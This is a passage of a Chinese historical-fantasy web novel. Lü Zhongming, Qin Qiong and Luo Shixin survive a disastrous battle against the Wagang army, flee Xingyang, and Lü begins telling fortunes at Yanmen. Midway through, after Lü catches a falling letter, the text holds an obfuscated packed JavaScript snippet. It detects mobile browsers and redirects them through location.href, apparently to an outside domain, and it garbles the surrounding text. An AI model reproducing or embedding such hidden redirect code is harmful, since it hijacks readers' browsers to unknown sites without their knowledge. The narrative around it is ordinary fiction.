吕仲明点头,带领士兵们到河畔树林去埋伏,是时只见远处山峦笼罩于暮色之中,对面就是瓦岗军的大营,灯火明亮,足有数万,而己方除张须陀的三千主力后,唯有吕仲明带领的一千人。 还有一千,则留守荥阳城中,防止李密瞒天过海,暗度陈仓。 “吕将军!”部下道:“就在此处设伏?” 吕仲明点头道:“扯绊马索,再将马嘴封住,不可发出半点声音。弓箭手都到树上去。” 吕仲明在最高的一棵树上,紧张地看着远处,张须陀的队伍已开始从浅滩上渡河。随着一声隐隐约约的“杀——”的喊声,双方开始正是交锋。 无数带火箭矢映亮了天空,张须陀袭营成功了!一瞬间对方大乱,军营中冲出大批瓦岗军兵士,正式交锋。吕仲明捏着一把汗,紧张得无以复加,说实话,他并不清楚张须陀此战是胜是负,万一张须陀得胜,自己就白担心了。 双方一开始交战,登时杀得天昏地暗,时间渐渐过去,瓦岗军终于开始自相践踏,败逃了。紧接着,己方部队朝东边追去。 “这边……这边!”吕仲明焦急道。 然而两军越跑越远,张须陀竟是把吕仲明的伏兵忘在了脑后,吕仲明抓狂了,吼道:“怎么又不按说好的来啊!” 轰隆一声,雷光闪过,天上下起大雨,吕仲明在树上被淋得全身湿透,眼见官兵越跑越远,最后消失了。 吕仲明:“……” 部下道:“吕将军,怎么办?追?” 分兵前张须陀的嘱咐是不可擅离职守,然而两人都料错了一件事,瓦岗军逃跑的方向,竟是与他们设想的背道而驰。军令如山,理论上张须陀没有派人来传令,吕仲明就得一辈子在这棵树上呆着了。 “再等等罢。”吕仲明道:“等一刻钟,如果有人来传令,就全军追击。” 他说不准张须陀会不会再次把敌军带到树林这边来,然而父亲也说了,宁可一念进,不可一念停,什么都不做,留在这里反而是兵家大忌。 不片刻,吕仲明便道:“上马!全军追击!” 树林里的伏兵全动了起来,正要出发时,远处又来了人,那人一马当先,喝道:“仲明!随我追击敌军!” 正是秦琼,吕仲明大惊道:“你怎么来了!” 双方汇合,沿着索河下游一路疾风般地奔驰,秦琼道:“我们把城里最后的兵带出来了!罗成去包抄李密的兵马了!” “守军外调,不会有事吗!”吕仲明顶着大雨喊道。 秦琼大声道:“管他的!罗成把王志阳揍了一顿!快!现在还来得及!” 10. 第九回:伏兵 一千五百人穿过黑暗的山谷,追着张须陀的兵马而去,吕仲明说完张须陀的布置后,秦琼喊道:“怎么不在下游设伏?!” “去下游,就要经过瓦岗军的大营!”吕仲明道:“太危险了!不对……” 吕仲明倏然间想到一事,会不会是诱敌之计?! “不好!”吕仲明吼道:“快撤!绕路过去!” 秦琼先是一怔,吕仲明却来不及解释了,径自离开山谷,绕过对方的逃跑路线,一路泥泞,脚印甚是杂乱,吕仲明渐渐意识到,地上没有盔甲,没有抛弃的武器,定是诈敌之计无疑! 紧接着,又一声暴雷划过天际,照亮了数人的脸庞,前方数万人纵声呐喊,再次转身杀来,秦琼也感觉到危险了,吼道:“随我入阵,支援张将军!” 吕仲明策马,士兵杀进了双方的交战圈中,一时间箭如雨下,到处都是敌军,秦琼一个照面便被逆袭的洪流冲散,吕仲明吼道:“随我来!外圈游走,杀一个是一个!” 吕仲明带领的弓箭手部队犹如一条蜿蜒的长蛇,先是冲进了敌军之中,继而一触即退,化为一个圈,在闪电的光芒下,于外围绕圈,每一波箭矢飞去,便有无数瓦岗军应声倒地。 山坡上,数名将领看着战场上局势,终于有人注意到了他。 “那一队人太也狡猾。”一名壮汉道:“是什么人?张须陀麾下还有此猛将?” “报——”手下来报:“张须陀突出重围而走!” “他还会回来。”另一名身材矮小的将领道:“李某愿亲自出战,生擒张须陀!” “李密。”那壮汉道:“既是如此,便由你出战。” 李密翻身上马,喝道:“弟兄们,成败在此一战,随我杀!” 上万人轰然应声,再次冲进了战场。 这一波攻势对官兵来说简直是致命的,敌众我寡,相差实在太悬殊,吕仲明终于知道招架不住了,吼道:“撤!” 官兵们顶不住了,纷纷逃离战场,吕仲明率军断后,一时间兵败乱局已成,只有吕仲明还顶着压力,掩护己方将士逃离。骤然间听得一人吼道:“退到河边,整军再战——!” 那是张须陀的声音,太好了!他还没有死! 吕仲明马上掉头与张须陀汇合,秦琼又不知从何处杀出,吼道:“仲明!能射中敌方首领么?那是李密!把他射下来!” 一道闪电照亮了天地,吕仲明看见对方有一人,在上百兵士的簇拥中杀向张须陀,紧接着,吕仲明一个纵身而起,跃向秦琼马背,一脚踩在马鞍上,另一脚朝前一跨,骑在秦琼肩头。 天地间一片黑暗,乱军厮杀,暴雨倾盆,吕仲明雨水顺着头发淌下,眼里水汽朦胧,拉开长弓,指向远方。 “看不见……”吕仲明道:“控好马!” 秦琼一声不吭,抿着唇,吕仲明的心快要从胸膛里跳出来,心道成也天意,败也天意……只要再来上那么一道……就在那一瞬间—— 又一道闪电划过,短短顷刻,吕仲明准备地捕捉到了对方已在战圈百步之外的首领,紧接着一放弦。 那一箭在雷煌的光芒中,犹如破开太初黑暗的疾电般射去,飞入了黑暗之中。 远方传来一声叫喊,秦琼马上吼道:“李密死了——!” 登时官兵纷纷呐喊,瓦岗军大乱!己方士兵终于争得了撤退与喘息之机。 一夜间,官兵败退,折损了将近八成,罗士信陷于敌阵之中,张须陀一身是血,在索河畔整理残军,所余不足一千人。大部分还是吕仲明带的弓手队。 “只有这么点了?”秦琼难以置信道。 吕仲明看到河流里淌满鲜血,尸体顺着河水飘下来,心里说不出的震撼。 “罗士信呢?”吕仲明颤声道:“罗士信呢?!他没逃出来?!” 秦琼也不知道,看看张须陀,张须陀又上前,狠狠给了秦琼一巴掌,将秦琼打得嘴角溢血。 “谁让你出战的?!”张须陀吼道。 吕仲明劝也不是,不劝也不是,喘息片刻后,翻身上马,张须陀吼道:“站住!你要去何处?!” “救罗士信!”吕仲明道。 张须陀道:“你们马上回荥阳城去!回守荥阳!” 就这么点人,怎么守荥阳?吕仲明知道这次相当于是全军覆没了,然而张须陀没有再给他说话的机会,骑上马,喝道:“跟我来!还有不少将士陷于敌营中,此刻未必就败!” 士兵当即走了近半,剩下秦琼与吕仲明还在原地。 “荥阳守不住了。”秦琼道。 吕仲明也知道,对方势在必得,此战一结束,李密的部队就将彻底占领荥阳,这么几百人回去守城,无异于以卵击石,现在最聪明的做法就是,救出罗士信,然后跑。 “我去救师父,说服他撤。”秦琼牵着手中的马,交给吕仲明,说:“这是我的白云驹,瓦岗军里估计有人认得它,不会朝你下重手,你去找罗成。不管救不救得他,以一个时辰为限,大家在河边汇合。” 秦琼翻身上马,吕仲明便道:“你自己小心。” 救出人以后怎么办?秦琼没有说,但彼此都心知肚明,在此地全军覆没,大家回去了都要被杀头,张须陀也跑不掉,现在败局已成,救完人,只能跑路了。 天蒙蒙亮,战线已被推到了索河上游处,到处都是尸体,士兵各自为战,罗士信深陷敌阵,战马已口吐白沫,罗士信浑身是血,身周尽是尸体。 无人敢上前来,士兵们纷纷举着长矛,警觉地盯着罗士信。 罗士信疲惫一笑,拄着长槊,摇摇欲坠。 “手下留人——”一人声音遥遥喊道:“罗成休走!听我一言!” 战阵分开,两骑排众而出,当先一名男子下马道:“罗成!官兵已败,何必再为杨广那昏君效命?” 罗士信知道这是招降的来了,然而他吞不下这口气,冷笑道:“想老子投降?先打上一场!” 那男子扔了武器,竟是丝毫不畏罗士信长槊,怒道:“叔宝何在?我找你二人已有年余,何必如此倔强?” 罗士信见此人似与秦琼相识,沉声道:“你是谁?” 男子抱拳道:“哥哥姓单,单雄信便是,叔宝可在你面前提起过我?这位是翟让翟将军。” 说毕,单雄信便要引翟让来相见,罗士信正犹豫时,不远处传来一阵骚动,说时迟那时快,一箭飞来,带着凌厉风声,翟让猛然低头,头盔却被一箭带起,飞得老远。 是时只见白云驹跨过人墙飞至,落于包围圈中,吕仲明双腿夹在马腹上,反手一提,揪着罗士信衣领令他飞起。救兵来得实在太快,所有人还没反应过来时,吕仲明又是纵马朝人群冲去。 刹那间包围圈大溃,吕仲明回手一箭,士兵们大喊大乱,单雄信一见吕仲明回身忙闪身躲避,饶是如此,那一箭也险些将他钉在地上。 “项上人头,暂且寄着!”吕仲明道:“小爷改日来取……” 说话间那马已跑得没影了。 罗士信不住喘息,趴在吕仲明背上,浑身多处是伤,问道:“师父呢?” “杀回去了。”吕仲明道:“战败了,你还好罢,撑住,过了河就给你治伤。” “我……不碍事。”罗士信道:“叔宝呢?” “他去救张老将军了。”吕仲明道。 交战已近尾声,到处都是尸体,隋军虽全军覆没,然而瓦岗军也损失惨重,远处传来哨箭声响,吕仲明脸色一变,循着声音而去,见那处满地战死将士,秦琼抱着张须陀的身体,张须陀一身伤痕累累,并无战马。 “太好了!快走!”吕仲明终于找到了他们。 秦琼道:“师父不行了。” 罗士信翻身下马,扑上前去,抱着张须陀大哭。 张须陀虽伤重,声音中却仍带着威严,沉声道:“男儿流血……不流泪,莫要丢了师父的脸……” 秦琼眼眶通红,与罗士信跪在张须陀身边,张须陀又勉强道:“从军之人,满手鲜血,如今马革裹尸,已是死得其所……古往今来,有谁不死?” 吕仲明虽然对张须陀感情不深,然而这老者是非分明,更收容他数月,不禁心中难过。 “我看看……”吕仲明上前,察看张须陀伤势,张须陀却摆手道:“不必了,老夫已不愿求生,如此了却一生,乃是求仁……得仁……。” 张须陀声音渐小下去,显是到了弥留之际。数人都知道,张须陀这一战败了,回去也是被杨广治罪杀头,反而是种耻辱。吕仲明知道以张须陀的伤,要救好也并非不可能,然而自己无求生之念,却是谁也说不动的。 吕仲明与秦琼交换了个眼色,正想着要怎么保住张须陀性命时,张须陀却道:“回去……遣散荥阳百姓,从此以后,你们与大隋再无纠葛,远走高飞为宜,以免有杀身之祸……小友……拜托你照顾他二人了……” 就在这时,四周仿佛起了些许变化。 破晓时的日光从东面转来,远方隐隐约约有梵音唱响,一名书生身着青袍前来,正是先前在大海寺所结识的善无畏。 “我身本不有,憎爱何由生?”善无畏戴着紫檀佛珠的一手伸来,轻轻按在张须陀额前,吕仲明瞬间想起了善无畏那天所言,他来大海寺,渡一位有缘之人。 罗士信与秦琼愕然,看着善无畏,此刻张须陀闭上双眼,一身血气渐消。 善无畏出手的那一刻,身上泛起佛光,吕仲明心生警惕,本以为善无畏只是佛门中一名侍奉菩萨的侍者,就像闵公一样。然而看现在的情况,善无畏的修为明显比自己估测的要高。 如果没有猜错的话…… “借一步说话如何?”善无畏温和道。 吕仲明一点头,起身,朝秦琼道:“老将军性命无碍,请放心。” 说毕吕仲明与善无畏走到一旁河边,善无畏在淡红色的河水中洗了下手,整条河流竟是褪尽了血气,河面上开满了白莲。 到此时,吕仲明复无怀疑,待得善无畏转过身时,吕仲明便拱手为礼,道:“应该唤您作慈航真人,还是观自在菩萨?” 善无畏笑笑,双手合十道:“无相为体,是菩萨还是真人,又有何妨?” 吕仲明一笑,心知既然以佛家真言开头,便道:“观自在菩萨。” “金麟公子。”善无畏道。 “菩萨有何吩咐?”吕仲明心念电转,不知善无畏是否知道自己一身法力被悉数封存之事,但看他那模样,又不像要把自己抓走。 善无畏道:“吩咐不敢当,不过是想请公子看在昆仑十二仙的面子上,求个人情。” 吕仲明:“但说无妨。” 善无畏:“金刚智大师请我保住张须陀老将军的性命,只因张将军还在,便可保大隋气运,令天下不至毁于战火,渐渐平息各地动乱。然金鳌岛插手,要带走张老将军,此人堪称一名将才,吕公子既已得罗士信,秦琼二人,不如便将张将军让给我,如何?” “菩萨要如何处置张将军?”吕仲明问道:“在杨广面前为他求情,让他继续领兵?” 善无畏道:“此事我也犹豫良久,任你带走不成,交给金刚智大师也不行,只得渡他出世,张将军若有意,可皈依我佛。这样仍是两不相碍,公子认为如何?” 善无畏要强行带走,吕仲明也阻拦不得,万一善无畏要把自己给抓了,估计吕仲明也只有束手就擒的份。但要抓吕仲明,佛家终究是不敢下手。善无畏询问吕仲明意见,已是看在通天教主的份上,给他留了面子。 “便依菩萨吩咐。”吕仲明从这短短几句话中可知,佛门说不定想助隋。助隋么,也并不是不可以,只是要搞定杨广,会非常麻烦。然而佛门里高手如云,能度化了杨广一身戾气,倒也不是不可能。 毕竟隋家待佛门,一直都是很客气的。 “菩萨接下来往何处去?”吕仲明问道。 “未知去处。”善无畏显然也在思考,问道:“公子有何处去?愿不愿意与我们作一路?” 善无畏看着吕仲明,眼里带着笑意,似是在邀请他,吕仲明心中忐忑,心道这家伙不知道在想什么,还是算了。 “晚辈也未知去处。”吕仲明一哂道:“打算先随处逛逛。” 善无畏便点头,不再提此事,二人回到空地上,张须陀仍在沉睡。 善无畏一手按在张须陀身上,罗士信道:“你要做什么?!” 吕仲明按着罗士信的肩,示意他冷静,善无畏笑道:“三位请替我保守这个秘密。” 吕仲明点头道:“知道了。” 张须陀未死,被善无畏带走了,此事后续实多,十分麻烦,要说也说不清楚,但如果当做是战死了,一切就简单。 说话间善无畏身周幻化出无数白莲,飘散于空中,顷刻间与张须陀一同消失了,罗士信愕然,只有秦琼约略猜到了一些,问道:“师父跟着那人去了?” “是。”吕仲明道:“以后再给你们慢慢解释,走,还有事情要做!” 这话提醒了罗士信与秦琼,二人忙上马,三个人,只有秦琼的爱马,跑得甚是吃力,勉强赶路朝荥阳城里去。 荥阳已十户九空,剩下的百姓大部分是相信瓦岗军,愿意投奔翟让等人的,秦琼去告知城防卫队,让他们快走。吕仲明则与罗士信回了官府,预备收拾下点钱财,以后跑路也有钱花不至于太狼狈。 奈何官府内听得张须陀战败,王志阳早已将库房内金银细软卷了预备跑路,吕仲明刚在府门外停下,便见王志阳指挥一群兵士,将三人围了起来。 “罗士信,你还有脸回来?!”那参赞怒道:“来人,把他们给我抓起来!” 罗士信马上挡在吕仲明身前,喝道:“你有什么罪名抓我!” “你抗命不从!延误战机!连累张将军战死!”王志阳道:“快把他抓回去,让陛下治罪!” 吕仲明早已料到这个结果,罗士信还不相信,吼道:“卑鄙小人!拿命来!” 罗士信身上还带着伤,说话间就要动手,吕仲明心知这一下他们在隋军里再混不下去了,改日王志阳定会把这场战役的失败全部推到他们头上,便道:“快走!别跟他废话!” 府内外还有上百人,己方只有两人,现在动手只会吃不了兜着走,然而罗士信却丝毫不吃这套,一时怒起,恶向胆边生,摆起长槊就冲进去,与众人打作一团。 吕仲明一卸长弓,王志阳早知其箭无虚发,射术了得,马上躲进内间,将门关上,罗士信要杀进去,抓了王志阳,吕仲明却道:“别打了!现在就走!再不走,瓦岗军就要杀进来了!” 是时秦琼从门外赶到,带来了战马,见双方又在混战,便知发生了何事,策马冲进了前庭,喊道:“谁敢动手!” 士兵们惧秦琼威信,一时间惴惴不敢上前,罗士信怒不可遏,却被吕仲明抓着,拖上马去,喊道:“走!” 王志阳尚在内间叫道:“莫走了叛贼,他们只有三个人!抓回去领赏!否则事发了,谁也逃不掉!” 话音刚落,吕仲明便悍然一箭射去,那一箭穿透窗格,砰然将内里的摆设击得粉碎,王志阳骇得连滚带爬躲在柱后,秦琼喝道:“走!” 三人上马,逃离了荥阳城。 是日下午,荥阳城外又下起了倾盆暴雨,天地茫茫,身无分文,只有三匹马,一夜鏖战,三人已渐显疲态。 瓦岗军从东边过来,三人朝西边跑,足足跑了一日,两道全是荒废的房屋,百姓居无定所,颠沛流离,想找口吃的都找不到。旷野中只有一棵孤零零的大树,当天黄昏,三人便在树上过夜,脱了上衣,挤在一个树杈上,抵手叉脚的,十分不舒服。又将战马拴在树下避雨吃草。 就在这时,树上微微发着光,天光一照,瞬间又收回。 一封信轻飘飘地落下来。 吕仲明伸手抓住,欣喜若狂! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563118|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲的信来了!! 【小小宝贝吾儿: 在唐代过的日子过得还好罢?自从你走后,爹每天想你,念你,吃不下饭,睡不着觉。你二爹说你这么聪明,一定过得很滋润。猜你要么就在李世民府里,锦衣玉食,要么就在杨广宫中,当上了国师。 要么也在瓦岗寨中,当个闻名天下的军师。我吕奉先的儿子,回到古代,定不会一事无成,古代吃的不成,应少吃油腻之物,多吃素菜……】 吕仲明此刻肚子饿得咕咕作响,被大雨一淋,跟个落汤鸡一般,瑟瑟发抖,看着信,一时间不禁悲从中来,空有一肚悲愤奈何无人可说。 【居安思危,是老祖宗传下来的真理。爹知道你有运筹帷幄之中,决胜千里之外的本事,我吕奉先的儿子,大门不出二门不迈,光指点江山就能打胜仗,毫无疑问。但长期当军师总是不好,偶尔也多上战场磨练……】 吕仲明心道这次真是丢人丢到家了,别说国师,连个参赞都把自己追得到处跑…… 【上过战场,见过伏尸百万之地,才知爱惜将士性命,不打无谓之战。也只有上过战场的谋士,使计策时,才知何者能为,何者不能为,切记。】 吕仲明流泪点头,知道了。 父亲所言,小时候在金鳌岛上总是左耳进右耳出,然而许多事一旦付诸实践后,方知自己那两位老爸所说,乃是一等一的真理。 【若有挫折,莫轻易言败,塞翁失马,焉知非福。小小宝贝加油。 爹】 下面又有另一段,乃是麒麟写的。 【仲明: 少用仙术,凡事用脑,而不是用力来解决,切记。 麒麟。】 吕仲明看完后,收起信,简直是欲哭无泪。他知道这里的一年不过是金鳌岛的一天,自己来了这么久,在老爸那里才过了几个时辰。估计直到现在,还没人发现自己的法宝落在碧游宫里了,要等粗心老爸发现,多半得等到明年后年去……还是不指望这个了。 吕仲明看完信,把信收好,一身湿淋淋的,袍子里全是水,拧出来时发现,魏征给自己写的那封信也成了烂泥,便只得拣出纸碎来,扔了。幸亏仙界的信件不惧水,不然连家信也被打湿了。 “这下好了。”罗士信道:“人也全战死了,荥阳也没了,成了通缉犯,该朝哪里去?” “人还活着就好。”吕仲明笑道:“可惜身上没钱。” “这月军饷也没领。”秦琼简直是气不打一处来,怒道:“让你俩回去拿钱,找王志阳打起来做什么!” 罗士信也怒道:“你看他那模样,会给军饷?做梦罢!” 吕仲明忙道:“别吵架别吵架,还有三匹马,要不行就把马卖了。” “要卖卖军马。”秦琼道:“我那马是单大哥送的,跟着我好几年了,不能卖。” 秦琼的马正是吕仲明骑着,冲进包围圈里救罗士信的那匹良驹,听到这话时,罗士信突然问:“单雄信是你什么人?” 秦琼叹了口气,罗士信便把单雄信招降的事说了,秦琼听完过后解释道:“单大哥是个有情有义的汉子,当年我走投无路,身无分文,流落郫县的时候,受店小二白眼,单大哥请我喝了一顿酒,替我付了房钱,又送我这匹马。后来途经邺城,我穷得叮当响,投哪儿都没人要,只得把马卖了。没想到单大哥恰好也在邺城,又碰上了……” 吕仲明打趣道:“于是他又把马买回来,送给你了吗?” 秦琼嗯了声,吕仲明笑得险些从树上掉下去,心道也真是丢人。 “好兄弟就是这样的。”吕仲明安慰道:“在人前么,面子总得端着,真正兄弟面前,丢人反而无所谓了。” “是这么说。”秦琼尴尬道:“单大哥跟你说的一样,他说:‘贤弟,你不会一辈子碌碌无为,假以时日,定能成就一番大业’。” 吕仲明点了点头,秦琼又道:“都放宽心点罢,天无绝人之路,现在虽落魄,却也不算太糟,起码还有两位好兄弟陪着。” 吕仲明知道目前的情况,对秦琼与罗士信来说实在是非常糟糕的事,兵全部战死了,张须陀这座大靠山也没了,身上一分钱没有,还成了背黑锅的钦犯。但对吕仲明来说,事态却更好,他对前路信心满满。 这下可以去找李世民了,这个时代,理应是他的天下,初来乍到的几天里,吕仲明还有点浑浑噩噩,渐渐的过了这些时候,他的心底计划已经逐渐成形。 在自己失去力量的情况下,只得先暂时依附于人间天子,才好探查佛教的底细,到得李世民府上,秦琼与罗士信二人也好有个着落,而看善无畏那模样,应当不会朝西边去,佛家多半是要协助杨广。 吕仲明准备实施他的计划,并相信一切都会很顺利。 然而罗士信可不这么想,他突然间来了一句:“你去投奔单雄信罢,我走了。” 秦琼倏然就被激怒了,要揪罗士信衣领,罗士信却赤着上身,没地方下手,便给了他一耳光,怒道:“你把我当作什么?!我要真想投瓦岗,还用得着回来救你们?!救师父?!” 罗士信道:“现在师父也走了!你去啊!” 罗士信抬手就要开打,两人拳头格挡来去,在树杈上扭作一团,摔了下来,又在泥泞里滚来滚去,吕仲明忙道:“别打架!” 吕仲明下来要分开两人,罗士信却怒道:“你拉偏架!我就知道你向着秦琼!” “没有!”吕仲明踹了秦琼一脚,把秦琼踹倒在地,说:“你看,没有的事!” 秦琼:“……” “你们俩是一伙的!”秦琼火了,爬起来,吕仲明又笑嘻嘻地过来,拉着秦琼的手,摸摸他的脸。吕仲明一手泥,抹了秦琼一脸,罗士信便哈哈大笑,孰料秦琼与吕仲明同时扑上来,把泥塞进他嘴里,搞得罗士信狼狈不堪。 当天夜里,三人在一个湖里洗过澡,雨终于停了,罗士信费了好大力气才抓到两条鱼,便在岸边烤鱼吃。 “接下来去哪儿?”秦琼问道:“认真的。” “抢点钱花。”罗士信漫不经心道:“没银子,寸步难行。” “那怎么行!”吕仲明道:“你是土匪吗。” 罗士信道:“叛军的钱还不是抢回来的,怕什么?” “太危险了。”吕仲明道:“三个人,去劫别人几万叛军的粮食财物,这是找死!” “那你说做什么?”罗士信道:“去种地?你会么?” 吕仲明沉吟片刻,说:“包在我身上。” 不久后,三人穿过伏牛山,沿途吃喝全是就地取材,要么就抓鱼,要么就打鸟,三个野人一般,饥一顿,饱一顿的。过得灰头土脸,终于出了伏牛山,取道太行山,前往并州。 并州未经战乱,然而瓦岗军的突进消息已抵达此处,一时间百姓奔走相告,才刚抵达雁门,沿途便有不少人在议论。 太原,上党一带渐入秋季,几场雨一下,天气登时凉了下来。 秦琼去打听消息,罗士信看着吕仲明偷农户的竹篱笆,又把不知道何处捡来的破布,绑在那偷回来的竹竿上。 “这个可以么?”秦琼回来了,拣了个缺了角的破盘子,吕仲明便把盘子固定在竹竿上,用炭条把盘子左半边涂黑,说:“行了。” “这样就能变银子出来?”罗士信看着这简陋的“法宝”,简直无法相信,秦琼也目瞪口呆问道:“这是什么玩意?” 吕仲明一本正经道:“这是个招幡,就地取材,就叫……妖言惑众招幡好了。” 吕仲明把招幡一竖,挑起来,一手掐了个法诀。 秦琼与罗士信紧张地看着吕仲明,以为即将发生什么事,孰料吕仲明却拿着招幡,朝城里走去,边走边随口朗诵道: “夏商周秦西东汉,三国两晋南北朝,隋唐五代和十国……算命看相……不灵不要钱……” 秦琼:“……” 罗士信:“……” 11. 第十回:算命 这日起,雁门关外便出现了一个行为可疑,言谈古怪,疯疯癫癫的道士了。尤其以他口中所念的歌谣,甚为古怪。 “夏商周秦西东汉,三国两晋南北朝,隋唐五代和十国,辽宋夏金与明清……” “等等……”秦琼顿时被雷得七荤八素,忙问:“这是什么意思?” “天机不可泄露。”吕仲明莫测高深地看了秦琼一眼。 秦琼道:“夏商周,是上古三朝?” 吕仲明:“孺子可教!” 罗士信:“……” 秦琼:“接着是两汉,三国,两晋,南北朝……隋。” “朽木可雕!”吕仲明连点头道。 罗士信本来只觉吕仲明在装神弄鬼,然而这么一说,仿佛又有深意,眯起眼道:“隋后是唐?” “对。”吕仲明笑笑。 “后面的又是些什么乱七八糟的东西?”秦琼这时候,对吕仲明那歌谣的关心点已不在于它的奇怪与雷人,而在于它的含义上了。 “唐安史之乱后,就是群雄割据之局。”吕仲明认真解释道:“不过距眼下,已经大约过去将近三百年了,又过了几十年,一个姓赵的一统天下,是为宋,江山割据,数国并存,是为辽、宋、夏与金。接着被外族入侵所灭,百年后,又有人驱逐鞑靼,建立明,明后亡于清,清后乃是民国,再后来……” “……就真的天机不可泄露了,嘿嘿。”吕仲明狡猾一笑,拿着招幡,站在客栈门外。 罗士信蹲着,秦琼站着,吕仲明只是偶尔念念他的朝代诗,秦琼道:“你说真的?” “信则有,不信则无嘛。”吕仲明道。 罗士信道:“你管他是真的还是吓唬人,到得那时,咱们也看不见了。” “就是。”吕仲明发现罗士信的性格与老子的道家思想总是不谋而合,想太多,就不如不想,便朝秦琼道:“过好眼下才是正经,天底下,没有哪个王朝能千秋万代的。” “这倒是。”秦琼道。 罗士信道:“千秋万代不千秋万代我不知道,不过眼下,我看你这么拉生意,还不如去抢。” 吕仲明道:“相信我嘛,总有办法的。” 这歌谣虽说疯疯癫癫,但听起来却非同寻常,关键是,不到一天,整个代县的人都记得歌谣了,吕仲明拿着招幡在路上走时,还有不少小孩跟在他身后,随着他唱道“夏商周秦西东汉,三国两晋南北朝……” 并州是受朝廷监控最弱之地,胡族汇聚,鱼龙混杂,杨广对付叛军简直是焦头烂额,几乎没什么心思来管此地,本地官府兵力,大多也都是地方豪族与当地民兵。吕仲明有信心这么继续唱下去,迟早有一天,会传到一个人的耳中,而要等的,也就是个人。 此时的并州也是受战乱影响最小的,塞外各族俱在此达成心照不宣的协议,或以物易物,或打听消息。吕仲明一行三人,四处妖言惑众,大多数人都听不懂,偶有当笑话听着的,也没人来问。 于是吕仲明便在雁门关下摆起摊,算起命来,在家里多少学了点河图洛书,以及相面相手的道家之术,然而吕仲明此人学东西总是不耐心,这也学点,那也学点。父亲所知又太也渊博,一个行军打仗能与古来名将一较短长,一个天文术数了若指掌,金鳌岛又是一群通晓古今,儒道法墨无不精通的仙人。吕仲明什么都学一点,最后也就等于什么都没学会。 虽然在仙家的平均水准里算是没学会,但糊弄糊弄凡人,也足够了。毕竟要赚点钱养家糊口,于是从这天开始,三人便明确分工。 秦琼负责管账,拿钱,买菜,买东西。 罗士信负责做饭和给仨人洗衣服。 吕仲明什么都不会,既不会做饭当然也不会做家务洗衣服,于是只能负责赚钱以及吃。 初时他不过三钱五钱,抓着人手掌,给人卜卦,卜完以后还常常看不懂卦,只记得个大概,然而算命这玩意,一分靠卦,三分靠察言观色,六分靠装。吕仲明收拾收拾,洗干净头脸,倒也是一身仙气。并州之人大多长居塞外,满面风霜,被风沙吹得皮肤粗糙,吕仲明则唇红齿白,一副衣冠楚楚,道貌岸然之相,于是有经过的行商,百姓,偶尔便会来找他求一卦,权当是花钱买个心安。 “你有病。”吕仲明一边起卦,一边随口道。 “你才有病。”那男人怒道:“找你看相,是想问事,你这道人……” “不忙。”吕仲明道:“你是不是夜来多梦?气血两虚?” 那男人愕然,身边站着两个衣服华贵的跟班,吕仲明又道:“劳心竭力,心狭志隘,金火卦,雷火互噬,不能容人,有口角之争。回去找本道德经来读读,你家人吵架了?跑丢了?寻不见下落?” 男人脸色登时变了,忙道:“是。” 吕仲明道:“儿子?带着女孩私奔了?” “是是。”男人忙不迭点头,吕仲明道:“朝西边去,沿着官路走,一路打听着,自然就找到了,找回来后,别再骂他了。” “你见过那小畜生?!”男人怀疑道。 “没有。”吕仲明笑道:“一两银子。” 那男人不情不愿地掏了一两银子,要给吕仲明,却又迟疑道:“人还没找到,不能给你。” 吕仲明笑道:“随你,冲你这脾气,找到了他也不会跟着你回去。” 男人又是脸色一变,吕仲明道:“我再教你一法子,把钱放竹筒里,乖。” 男人把碎银扔进了摊子前的竹筒,吕仲明便道:“祖师爷爷说了,金玉满堂,莫之能守;富贵则骄,自遗其咎,功成身退,天之道也。找到了以后,告诉他,答应他的婚事,愿不愿意回来,不去管他,时间到了,自然就回来了。” “这是什么办法!”男人怒道。 “不超过一个月,自然回来。”吕仲明笑嘻嘻道。 那男人身后的小厮却道:“道长所言有理,黄老爷,走罢,找人要紧。” 男人只得悻悻起身,走了。 “你怎么知道他儿子私奔了?”秦琼问道。 吕仲明靠在摊子后,懒洋洋地晒太阳,伸手把竹筒里那点碎银掏出来,给罗士信,解释道:“他形色匆匆,明显是找人,一定是家人跑了。身后跟着两名小厮,我说他‘有病’时,他小厮没开口骂我,明显不是他家的小厮。这种情况,不是媳妇跑了,就是儿女跑了。要么就是他儿子拐了别人家的女儿,要么就是他女儿跟别人家的儿子私奔了。” 秦琼哂道:“有理。” 罗士信道:“你又怎么知道是儿子?” 吕仲明道:“我猜的,老爹脾气大,儿子自然也脾气大,两父子对着来,所以问了句是儿子女儿。既然是儿子,那身后两人,就是女家派出来,跟着找人的小厮了。” 秦琼道:“朝西边去怎么说?” 吕仲明道:“这人从东边来,找到雁门关下了,一定是有线索,既然线索一路朝西,儿子应当也就是出雁门关啦。” 罗士信道:“你就不怕他找不到,回来找你麻烦。” “这不是还有你们俩么?”吕仲明笑道:“揍他就行了。” “当真是个骗子。”秦琼哭笑不得道。 吕仲明道:“这世间,凡是赚钱的营生,大多都是骗人的,打仗是把别人骗倒了就赢了,当皇帝,不也是把天下人骗乖了,就赢了么?收工收工,回去了。” 正说话时,又有一人前来,抱拳道:“道长,劳烦起一卦。” 这人是个年轻男子,相貌十分英俊,竟是将秦琼与罗士信都比下去了,吕仲明虽然眉目清秀,然而较之这男人的堂堂相貌,一身英气,又是不如。明显是个长期从军的隋朝武官。 “请坐。”吕仲明心里不住估测他来历,秦琼手肘动了动罗士信,示意他睁眼看这人。 那武将头发随意束着,身着粗布衣裳,两道剑眉,身上带着正气。 “阁下从东边来。”吕仲明看了眼卦象,看不懂,便胡乱道。 “雁门关下的汉人。”那男人淡淡道:“都从东边来。” 吕仲明道:“阁下行军从伍,因为一些事,不得不离军,来西边讨营生。” “道长好眼力。”男人答道。 不说吕仲明卜得准,而是夸他“好眼力”,显然这男人也看出,吕仲明算卦基本靠猜的手法了。 “想南下,去晋阳投奔李渊么?”吕仲明这次动真格的了,直接看着那人双眼道。 武将不说话,吕仲明便知道自己猜对了,双方略一沉吟,男人又道:“道长这处人来人往,可是有南边的什么消息?” 